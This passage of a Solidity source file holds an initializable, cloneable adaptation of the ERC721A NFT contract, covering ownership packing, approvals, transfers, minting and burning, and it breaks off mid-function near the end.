"content": "// SPDX-License-Identifier: MIT\n// ERC721A Contracts v4.2.2\n// Creator: Chiru Labs\n\npragma solidity ^0.8.4;\n\nimport { IERC721A } from \"ERC721A/IERC721A.sol\";\n\nimport {\n Initializable\n} from \"openzeppelin-contracts-upgradeable/proxy/utils/Initializable.sol\";\n\n/**\n * @dev Interface of ERC721 token receiver.\n */\ninterface ERC721A__IERC721Receiver {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n\n/**\n * @title ERC721A\n *\n * @dev Implementation of the [ERC721](https://eips.ethereum.org/EIPS/eip-721)\n * Non-Fungible Token Standard, including the Metadata extension.\n * Optimized for lower gas during batch mints.\n *\n * Token IDs are minted in sequential order (e.g. 0, 1, 2, 3, ...)\n * starting from `_startTokenId()`.\n *\n * Assumptions:\n *\n * - An owner cannot have more than 2**64 - 1 (max value of uint64) of supply.\n * - The maximum token ID cannot exceed 2**256 - 1 (max value of uint256).\n */\ncontract ERC721ACloneable is IERC721A, Initializable {\n // Bypass for a `--via-ir` bug (https://github.com/chiru-labs/ERC721A/pull/364).\n struct TokenApprovalRef {\n address value;\n }\n\n // =============================================================\n // CONSTANTS\n // =============================================================\n\n // Mask of an entry in packed address data.\n uint256 private constant _BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;\n\n // The bit position of `numberMinted` in packed address data.\n uint256 private constant _BITPOS_NUMBER_MINTED = 64;\n\n // The bit position of `numberBurned` in packed address data.\n uint256 private constant _BITPOS_NUMBER_BURNED = 128;\n\n // The bit position of `aux` in packed address data.\n uint256 private constant _BITPOS_AUX = 192;\n\n // Mask of all 256 bits in packed address data except the 64 bits for `aux`.\n uint256 private constant _BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;\n\n // The bit position of `startTimestamp` in packed ownership.\n uint256 private constant _BITPOS_START_TIMESTAMP = 160;\n\n // The bit mask of the `burned` bit in packed ownership.\n uint256 private constant _BITMASK_BURNED = 1 << 224;\n\n // The bit position of the `nextInitialized` bit in packed ownership.\n uint256 private constant _BITPOS_NEXT_INITIALIZED = 225;\n\n // The bit mask of the `nextInitialized` bit in packed ownership.\n uint256 private constant _BITMASK_NEXT_INITIALIZED = 1 << 225;\n\n // The bit position of `extraData` in packed ownership.\n uint256 private constant _BITPOS_EXTRA_DATA = 232;\n\n // Mask of all 256 bits in a packed ownership except the 24 bits for `extraData`.\n uint256 private constant _BITMASK_EXTRA_DATA_COMPLEMENT = (1 << 232) - 1;\n\n // The mask of the lower 160 bits for addresses.\n uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1;\n\n // The maximum `quantity` that can be minted with {_mintERC2309}.\n // This limit is to prevent overflows on the address data entries.\n // For a limit of 5000, a total of 3.689e15 calls to {_mintERC2309}\n // is required to cause an overflow, which is unrealistic.\n uint256 private constant _MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000;\n\n // The `Transfer` event signature is given by:\n // `keccak256(bytes(\"Transfer(address,address,uint256)\"))`.\n bytes32 private constant _TRANSFER_EVENT_SIGNATURE =\n 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef;\n\n // =============================================================\n // STORAGE\n // =============================================================\n\n // The next token ID to be minted.\n uint256 private _currentIndex;\n\n // The number of tokens burned.\n uint256 private _burnCounter;\n\n // Token name\n string private _name;\n\n // Token symbol\n string private _symbol;\n\n // Mapping from token ID to ownership details\n // An empty struct value does not necessarily mean the token is unowned.\n // See {_packedOwnershipOf} implementation for details.\n //\n // Bits Layout:\n // - [0..159] `addr`\n // - [160..223] `startTimestamp`\n // - [224] `burned`\n // - [225] `nextInitialized`\n // - [232..255] `extraData`\n mapping(uint256 => uint256) private _packedOwnerships;\n\n // Mapping owner address to address data.\n //\n // Bits Layout:\n // - [0..63] `balance`\n // - [64..127] `numberMinted`\n // - [128..191] `numberBurned`\n // - [192..255] `aux`\n mapping(address => uint256) private _packedAddressData;\n\n // Mapping from token ID to approved address.\n mapping(uint256 => TokenApprovalRef) private _tokenApprovals;\n\n // Mapping from owner to operator approvals\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n // =============================================================\n // CONSTRUCTOR\n // =============================================================\n\n function __ERC721ACloneable__init(\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n _name = name_;\n _symbol = symbol_;\n _currentIndex = _startTokenId();\n }\n\n // =============================================================\n // TOKEN COUNTING OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the starting token ID.\n * To change the starting token ID, please override this function.\n */\n function _startTokenId() internal view virtual returns (uint256) {\n return 0;\n }\n\n /**\n * @dev Returns the next token ID to be minted.\n */\n function _nextTokenId() internal view virtual returns (uint256) {\n return _currentIndex;\n }\n\n /**\n * @dev Returns the total number of tokens in existence.\n * Burned tokens will reduce the count.\n * To get the total number of tokens minted, please see {_totalMinted}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n // Counter underflow is impossible as _burnCounter cannot be incremented\n // more than `_currentIndex - _startTokenId()` times.\n unchecked {\n return _currentIndex - _burnCounter - _startTokenId();\n }\n }\n\n /**\n * @dev Returns the total amount of tokens minted in the contract.\n */\n function _totalMinted() internal view virtual returns (uint256) {\n // Counter underflow is impossible as `_currentIndex` does not decrement,\n // and it is initialized to `_startTokenId()`.\n unchecked {\n return _currentIndex - _startTokenId();\n }\n }\n\n /**\n * @dev Returns the total number of tokens burned.\n */\n function _totalBurned() internal view virtual returns (uint256) {\n return _burnCounter;\n }\n\n // =============================================================\n // ADDRESS DATA OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the number of tokens in `owner`'s account.\n */\n function balanceOf(address owner)\n public\n view\n virtual\n override\n returns (uint256)\n {\n if (owner == address(0)) revert BalanceQueryForZeroAddress();\n return _packedAddressData[owner] & _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n /**\n * Returns the number of tokens minted by `owner`.\n */\n function _numberMinted(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> _BITPOS_NUMBER_MINTED) &\n _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n /**\n * Returns the number of tokens burned by or on behalf of `owner`.\n */\n function _numberBurned(address owner) internal view returns (uint256) {\n return\n (_packedAddressData[owner] >> _BITPOS_NUMBER_BURNED) &\n _BITMASK_ADDRESS_DATA_ENTRY;\n }\n\n /**\n * Returns the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).\n */\n function _getAux(address owner) internal view returns (uint64) {\n return uint64(_packedAddressData[owner] >> _BITPOS_AUX);\n }\n\n /**\n * Sets the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).\n * If there are multiple variables, please pack them into a uint64.\n */\n function _setAux(address owner, uint64 aux) internal virtual {\n uint256 packed = _packedAddressData[owner];\n uint256 auxCasted;\n // Cast `aux` with assembly to avoid redundant masking.\n assembly {\n auxCasted := aux\n }\n packed =\n (packed & _BITMASK_AUX_COMPLEMENT) |\n (auxCasted << _BITPOS_AUX);\n _packedAddressData[owner] = packed;\n }\n\n // =============================================================\n // IERC165\n // =============================================================\n\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30000 gas.\n */\n function supportsInterface(bytes4 interfaceId)\n public\n view\n virtual\n override\n returns (bool)\n {\n // The interface IDs are constants representing the first 4 bytes\n // of the XOR of all function selectors in the interface.\n // See: [ERC165](https://eips.ethereum.org/EIPS/eip-165)\n // (e.g. `bytes4(i.functionA.selector ^ i.functionB.selector ^ ...)`)\n return\n interfaceId == 0x01ffc9a7 || // ERC165 interface ID for ERC165.\n interfaceId == 0x80ac58cd || // ERC165 interface ID for ERC721.\n interfaceId == 0x5b5e139f; // ERC165 interface ID for ERC721Metadata.\n }\n\n // =============================================================\n // IERC721Metadata\n // =============================================================\n\n /**\n * @dev Returns the token collection name.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the token collection symbol.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.\n */\n function tokenURI(uint256 tokenId)\n public\n view\n virtual\n override\n returns (string memory)\n {\n if (!_exists(tokenId)) revert URIQueryForNonexistentToken();\n\n string memory baseURI = _baseURI();\n return\n bytes(baseURI).length != 0\n ? string(abi.encodePacked(baseURI, _toString(tokenId)))\n : \"\";\n }\n\n /**\n * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each\n * token will be the concatenation of the `baseURI` and the `tokenId`. Empty\n * by default, it can be overridden in child contracts.\n */\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n // =============================================================\n // OWNERSHIPS OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function ownerOf(uint256 tokenId)\n public\n view\n virtual\n override\n returns (address)\n {\n return address(uint160(_packedOwnershipOf(tokenId)));\n }\n\n /**\n * @dev Gas spent here starts off proportional to the maximum mint batch size.\n * It gradually moves to O(1) as tokens get transferred around over time.\n */\n function _ownershipOf(uint256 tokenId)\n internal\n view\n virtual\n returns (TokenOwnership memory)\n {\n return _unpackedOwnership(_packedOwnershipOf(tokenId));\n }\n\n /**\n * @dev Returns the unpacked `TokenOwnership` struct at `index`.\n */\n function _ownershipAt(uint256 index)\n internal\n view\n virtual\n returns (TokenOwnership memory)\n {\n return _unpackedOwnership(_packedOwnerships[index]);\n }\n\n /**\n * @dev Initializes the ownership slot minted at `index` for efficiency purposes.\n */\n function _initializeOwnershipAt(uint256 index) internal virtual {\n if (_packedOwnerships[index] == 0) {\n _packedOwnerships[index] = _packedOwnershipOf(index);\n }\n }\n\n /**\n * Returns the packed ownership data of `tokenId`.\n */\n function _packedOwnershipOf(uint256 tokenId)\n private\n view\n returns (uint256)\n {\n uint256 curr = tokenId;\n\n unchecked {\n if (_startTokenId() <= curr) {\n if (curr < _currentIndex) {\n uint256 packed = _packedOwnerships[curr];\n // If not burned.\n if (packed & _BITMASK_BURNED == 0) {\n // Invariant:\n // There will always be an initialized ownership slot\n // (i.e. `ownership.addr != address(0) && ownership.burned == false`)\n // before an unintialized ownership slot\n // (i.e. `ownership.addr == address(0) && ownership.burned == false`)\n // Hence, `curr` will not underflow.\n //\n // We can directly compare the packed value.\n // If the address is zero, packed will be zero.\n while (packed == 0) {\n packed = _packedOwnerships[--curr];\n }\n return packed;\n }\n }\n }\n }\n revert OwnerQueryForNonexistentToken();\n }\n\n /**\n * @dev Returns the unpacked `TokenOwnership` struct from `packed`.\n */\n function _unpackedOwnership(uint256 packed)\n private\n pure\n returns (TokenOwnership memory ownership)\n {\n ownership.addr = address(uint160(packed));\n ownership.startTimestamp = uint64(packed >> _BITPOS_START_TIMESTAMP);\n ownership.burned = packed & _BITMASK_BURNED != 0;\n ownership.extraData = uint24(packed >> _BITPOS_EXTRA_DATA);\n }\n\n /**\n * @dev Packs ownership data into a single uint256.\n */\n function _packOwnershipData(address owner, uint256 flags)\n private\n view\n returns (uint256 result)\n {\n assembly {\n // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean.\n owner := and(owner, _BITMASK_ADDRESS)\n // `owner | (block.timestamp << _BITPOS_START_TIMESTAMP) | flags`.\n result := or(\n owner,\n or(shl(_BITPOS_START_TIMESTAMP, timestamp()), flags)\n )\n }\n }\n\n /**\n * @dev Returns the `nextInitialized` flag set if `quantity` equals 1.\n */\n function _nextInitializedFlag(uint256 quantity)\n private\n pure\n returns (uint256 result)\n {\n // For branchless setting of the `nextInitialized` flag.\n assembly {\n // `(quantity == 1) << _BITPOS_NEXT_INITIALIZED`.\n result := shl(_BITPOS_NEXT_INITIALIZED, eq(quantity, 1))\n }\n }\n\n // =============================================================\n // APPROVAL OPERATIONS\n // =============================================================\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the\n * zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ownerOf(tokenId);\n\n if (_msgSenderERC721A() != owner) {\n if (!isApprovedForAll(owner, _msgSenderERC721A())) {\n revert ApprovalCallerNotOwnerNorApproved();\n }\n }\n\n _tokenApprovals[tokenId].value = to;\n emit Approval(owner, to, tokenId);\n }\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId)\n public\n view\n virtual\n override\n returns (address)\n {\n if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();\n\n return _tokenApprovals[tokenId].value;\n }\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom}\n * for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool approved)\n public\n virtual\n override\n {\n _operatorApprovals[_msgSenderERC721A()][operator] = approved;\n emit ApprovalForAll(_msgSenderERC721A(), operator, approved);\n }\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address owner, address operator)\n public\n view\n virtual\n override\n returns (bool)\n {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted. See {_mint}.\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return\n _startTokenId() <= tokenId &&\n tokenId < _currentIndex && // If within bounds,\n _packedOwnerships[tokenId] & _BITMASK_BURNED == 0; // and not burned.\n }\n\n /**\n * @dev Returns whether `msgSender` is equal to `approvedAddress` or `owner`.\n */\n function _isSenderApprovedOrOwner(\n address approvedAddress,\n address owner,\n address msgSender\n ) private pure returns (bool result) {\n assembly {\n // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean.\n owner := and(owner, _BITMASK_ADDRESS)\n // Mask `msgSender` to the lower 160 bits, in case the upper bits somehow aren't clean.\n msgSender := and(msgSender, _BITMASK_ADDRESS)\n // `msgSender == owner || msgSender == approvedAddress`.\n result := or(eq(msgSender, owner), eq(msgSender, approvedAddress))\n }\n }\n\n /**\n * @dev Returns the storage slot and value for the approved address of `tokenId`.\n */\n function _getApprovedSlotAndAddress(uint256 tokenId)\n private\n view\n returns (uint256 approvedAddressSlot, address approvedAddress)\n {\n TokenApprovalRef storage tokenApproval = _tokenApprovals[tokenId];\n // The following is equivalent to `approvedAddress = _tokenApprovals[tokenId].value`.\n assembly {\n approvedAddressSlot := tokenApproval.slot\n approvedAddress := sload(approvedAddressSlot)\n }\n }\n\n // =============================================================\n // TRANSFER OPERATIONS\n // =============================================================\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n if (address(uint160(prevOwnershipPacked)) != from)\n revert TransferFromIncorrectOwner();\n\n (\n uint256 approvedAddressSlot,\n address approvedAddress\n ) = _getApprovedSlotAndAddress(tokenId);\n\n // The nested ifs save around 20+ gas over a compound boolean condition.\n if (\n !_isSenderApprovedOrOwner(\n approvedAddress,\n from,\n _msgSenderERC721A()\n )\n ) {\n if (!isApprovedForAll(from, _msgSenderERC721A()))\n revert TransferCallerNotOwnerNorApproved();\n }\n\n if (to == address(0)) revert TransferToZeroAddress();\n\n _beforeTokenTransfers(from, to, tokenId, 1);\n\n // Clear approvals from the previous owner.\n assembly {\n if approvedAddress {\n // This is equivalent to `delete _tokenApprovals[tokenId]`.\n sstore(approvedAddressSlot, 0)\n }\n }\n\n // Underflow of the sender's balance is impossible because we check for\n // ownership above and the recipient's balance can't realistically overflow.\n // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.\n unchecked {\n // We can directly increment and decrement the balances.\n --_packedAddressData[from]; // Updates: `balance -= 1`.\n ++_packedAddressData[to]; // Updates: `balance += 1`.\n\n // Updates:\n // - `address` to the next owner.\n // - `startTimestamp` to the timestamp of transfering.\n // - `burned` to `false`.\n // - `nextInitialized` to `true`.\n _packedOwnerships[tokenId] = _packOwnershipData(\n to,\n _BITMASK_NEXT_INITIALIZED |\n _nextExtraData(from, to, prevOwnershipPacked)\n );\n\n // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .\n if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n // If the next slot's address is zero and not burned (i.e. packed value is zero).\n if (_packedOwnerships[nextTokenId] == 0) {\n // If the next slot is within bounds.\n if (nextTokenId != _currentIndex) {\n // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, to, tokenId);\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n /**\n * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n transferFrom(from, to, tokenId);\n if (to.code.length != 0) {\n if (!_checkContractOnERC721Received(from, to, tokenId, _data)) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n }\n }\n\n /**\n * @dev Hook that is called before a set of serially-ordered token IDs\n * are about to be transferred. This includes minting.\n * And also called before burning one token.\n *\n * `startTokenId` - the first token ID to be transferred.\n * `quantity` - the amount to be transferred.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, `tokenId` will be burned by `from`.\n * - `from` and `to` are never both zero.\n */\n function _beforeTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after a set of serially-ordered token IDs\n * have been transferred. This includes minting.\n * And also called after one token has been burned.\n *\n * `startTokenId` - the first token ID to be transferred.\n * `quantity` - the amount to be transferred.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been\n * transferred to `to`.\n * - When `from` is zero, `tokenId` has been minted for `to`.\n * - When `to` is zero, `tokenId` has been burned by `from`.\n * - `from` and `to` are never both zero.\n */\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n /**\n * @dev Private function to invoke {IERC721Receiver-onERC721Received} on a target contract.\n *\n * `from` - Previous owner of the given token ID.\n * `to` - Target address that will receive the token.\n * `tokenId` - Token ID to be transferred.\n * `_data` - Optional data to send along with the call.\n *\n * Returns whether the call correctly returned the expected magic value.\n */\n function _checkContractOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n try\n ERC721A__IERC721Receiver(to).onERC721Received(\n _msgSenderERC721A(),\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n return\n retval ==\n ERC721A__IERC721Receiver(to).onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert TransferToNonERC721ReceiverImplementer();\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n }\n\n // =============================================================\n // MINT OPERATIONS\n // =============================================================\n\n /**\n * @dev Mints `quantity` tokens and transfers them to `to`.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `quantity` must be greater than 0.\n *\n * Emits a {Transfer} event for each mint.\n */\n function _mint(address to, uint256 quantity) internal virtual {\n uint256 startTokenId = _currentIndex;\n if (quantity == 0) revert MintZeroQuantity();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n // Overflows are incredibly unrealistic.\n // `balance` and `numberMinted` have a maximum limit of 2**64.\n // `tokenId` has a maximum limit of 2**256.\n unchecked {\n // Updates:\n // - `balance += quantity`.\n // - `numberMinted += quantity`.\n //\n // We can directly add to the `balance` and `numberMinted`.\n _packedAddressData[to] +=\n quantity *\n ((1 << _BITPOS_NUMBER_MINTED) | 1);\n\n // Updates:\n // - `address` to the owner.\n // - `startTimestamp` to the timestamp of minting.\n // - `burned` to `false`.\n // - `nextInitialized` to `quantity == 1`.\n _packedOwnerships[startTokenId] = _packOwnershipData(\n to,\n _nextInitializedFlag(quantity) |\n _nextExtraData(address(0), to, 0)\n );\n\n uint256 toMasked;\n uint256 end = startTokenId + quantity;\n\n // Use assembly to loop and emit the `Transfer` event for gas savings.\n // The duplicated `log4` removes an extra check and reduces stack juggling.\n // The assembly, together with the surrounding Solidity code, have been\n // delicately arranged to nudge the compiler into producing optimized opcodes.\n assembly {\n // Mask `to` to the lower 160 bits, in case the upper bits somehow aren't clean.\n toMasked := and(to, _BITMASK_ADDRESS)\n // Emit the `Transfer` event.\n log4(\n 0, // Start of data (0, since no data).\n 0, // End of data (0, since no data).\n _TRANSFER_EVENT_SIGNATURE, // Signature.\n 0, // `address(0)`.\n toMasked, // `to`.\n startTokenId // `tokenId`.\n )\n\n // The `iszero(eq(,))` check ensures that large values of `quantity`\n // that overflows uint256 will make the loop run out of gas.\n // The compiler will optimize the `iszero` away for performance.\n for {\n let tokenId := add(startTokenId, 1)\n } iszero(eq(tokenId, end)) {\n tokenId := add(tokenId, 1)\n } {\n // Emit the `Transfer` event. Similar to above.\n log4(0, 0, _TRANSFER_EVENT_SIGNATURE, 0, toMasked, tokenId)\n }\n }\n if (toMasked == 0) revert MintToZeroAddress();\n\n _currentIndex = end;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n /**\n * @dev Mints `quantity` tokens and transfers them to `to`.\n *\n * This function is intended for efficient minting only during contract creation.\n *\n * It emits only one {ConsecutiveTransfer} as defined in\n * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309),\n * instead of a sequence of {Transfer} event(s).\n *\n * Calling this function outside of contract creation WILL make your contract\n * non-compliant with the ERC721 standard.\n * For full ERC721 compliance, substituting ERC721 {Transfer} event(s) with the ERC2309\n * {ConsecutiveTransfer} event is only permissible during contract creation.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `quantity` must be greater than 0.\n *\n * Emits a {ConsecutiveTransfer} event.\n */\n function _mintERC2309(address to, uint256 quantity) internal virtual {\n uint256 startTokenId = _currentIndex;\n if (to == address(0)) revert MintToZeroAddress();\n if (quantity == 0) revert MintZeroQuantity();\n if (quantity > _MAX_MINT_ERC2309_QUANTITY_LIMIT)\n revert MintERC2309QuantityExceedsLimit();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n // Overflows are unrealistic due to the above check for `quantity` to be below the limit.\n unchecked {\n // Updates:\n // - `balance += quantity`.\n // - `numberMinted += quantity`.\n //\n // We can directly add to the `balance` and `numberMinted`.\n _packedAddressData[to] +=\n quantity *\n ((1 << _BITPOS_NUMBER_MINTED) | 1);\n\n // Updates:\n // - `address` to the owner.\n // - `startTimestamp` to the timestamp of minting.\n // - `burned` to `false`.\n // - `nextInitialized` to `quantity == 1`.\n _packedOwnerships[startTokenId] = _packOwnershipData(\n to,\n _nextInitializedFlag(quantity) |\n _nextExtraData(address(0), to, 0)\n );\n\n emit ConsecutiveTransfer(\n startTokenId,\n startTokenId + quantity - 1,\n address(0),\n to\n );\n\n _currentIndex = startTokenId + quantity;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n /**\n * @dev Safely mints `quantity` tokens and transfers them to `to`.\n *\n * Requirements:\n *\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called for each safe transfer.\n * - `quantity` must be greater than 0.\n *\n * See {_mint}.\n *\n * Emits a {Transfer} event for each mint.\n */\n function _safeMint(\n address to,\n uint256 quantity,\n bytes memory _data\n ) internal virtual {\n _mint(to, quantity);\n\n unchecked {\n if (to.code.length != 0) {\n uint256 end = _currentIndex;\n uint256 index = end - quantity;\n do {\n if (\n !_checkContractOnERC721Received(\n address(0),\n to,\n index++,\n _data\n )\n ) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n } while (index < end);\n // Reentrancy protection.\n if (_currentIndex != end) revert();\n }\n }\n }\n\n /**\n * @dev Equivalent to `_safeMint(to, quantity, '')`.\n */\n function _safeMint(address to, uint256 quantity) internal virtual {\n _safeMint(to, quantity, \"\");\n }\n\n // =============================================================\n // BURN OPERATIONS\n // =============================================================\n\n /**\n * @dev Equivalent to `_burn(tokenId, false)`.\n */\n function _burn(uint256 tokenId) internal virtual {\n _burn(tokenId, false);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId, bool approvalCheck) internal virtual {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n address from = address(uint160(prevOwnershipPacked));\n\n (\n uint256 approvedAddressSlot,\n address approvedAddress\n ) = _getApprovedSlotAndAddress(tokenId);\n\n if (approvalCheck) {\n // The nested ifs save around 20+ gas over a compound boolean condition.\n if (\n !_isSenderApprovedOrOwner(\n approvedAddress,\n from,\n _msgSenderERC721A()\n )\n ) {\n if (!isApprovedForAll(from, _msgSenderERC721A()))\n revert TransferCallerNotOwnerNorApproved();\n }\n }\n\n _beforeTokenTransfers(from, address(0), tokenId, 1);\n\n // Clear approvals from the previous owner.\n assembly {\n if approvedAddress {\n // This is equivalent to `delete _tokenApprovals[tokenId]`.\n sstore(approvedAddressSlot, 0)\n }\n }\n\n // Underflow of the sender's balance is impossible because we check for\n // ownership above and the recipient's balance can't realistically overflow.\n // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.\n unchecked {\n // Updates:\n // - `balance -= 1`.\n // - `numberBurned += 1`.\n //\n // We can directly decrement the balance, and increment the number burned.\n // This is equivalent to `packed -= 1; packed += 1 << _BITPOS_NUMBER_BURNED;`.\n _packedAddressData[from] += (1 << _BITPOS_NUMBER_BURNED) - 1;\n\n // Updates:\n // - `address` to the last owner.\n // - `startTimestamp` to the timestamp of burning.\n // - `burned` to `true`.\n // - `nextInitialized` to `true`.\n _packedOwnerships[tokenId] = _packOwnershipData(\n from,\n (_BITMASK_BURNED | _BITMASK_NEXT_INITIALIZED) |\n _nextExtraData(from, address(0), prevOwnershipPacked)\n );\n\n // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .\n if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n // If the next slot's address is zero and not burned (i.e. packed value is zero).\n if (_packedOwnerships[nextTokenId] == 0) {\n // If the next slot is within bounds.\n if (nextTokenId != _currentIndex) {\n // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, address(0), tokenId);\n _afterTokenTransfers(from, address(0), tokenId, 1);\n\n // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.\n unchecked {\n _burnCounter++;\n }\n }\n\n // =============================================================\n // EXTRA DATA OPERATIONS\n // =============================================================\n\n /**\n * @dev Directly sets the extra data for the ownership data `index`.\n */\n function _setExtraDataAt(uint256 index, uint24 extraData) internal virtual {\n uint256 packed = _packedOwnerships[index];\n if (packed == 0) revert OwnershipNotInitializedForExtraData();\n uint256 extraDataCasted;\n // Cast `extraData` with assembly to avoid redundant masking.\n assembly {\n extraDataCasted := extraData\n }\n packed =\n (packed & _BITMASK_EXTRA_DATA_COMPLEMENT) |\n (extraDataCasted << _BITPOS_EXTRA_DATA);\n _packedOwnerships[index] = packed;\n }\n\n /**\n * @dev Called during each token transfer to set the 24bit `extraData` field.\n * Intended to be overridden by the cosumer contract.\n *\n * `previousExtraData` - the value of `extraData` before transfer.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, `tokenId` will be burned by `from`.\n * - `from` and `to` are never both zero.\n */\n function _extraData(\n address from,\n address to,\n uint24 previousExtraData\n ) internal view virtual returns (uint24) {}\n\n /**\n * @dev Returns the next extra data for the packed ownership data.\n * The returned result is shifted into position.\n */\n function _nextExtraData(\n address from,\n address to,\n uint256 prevOwnershipPacked\n ) private view returns (uint256) {\n uint24 extraData = uint24(prevOwnershipPacked >> 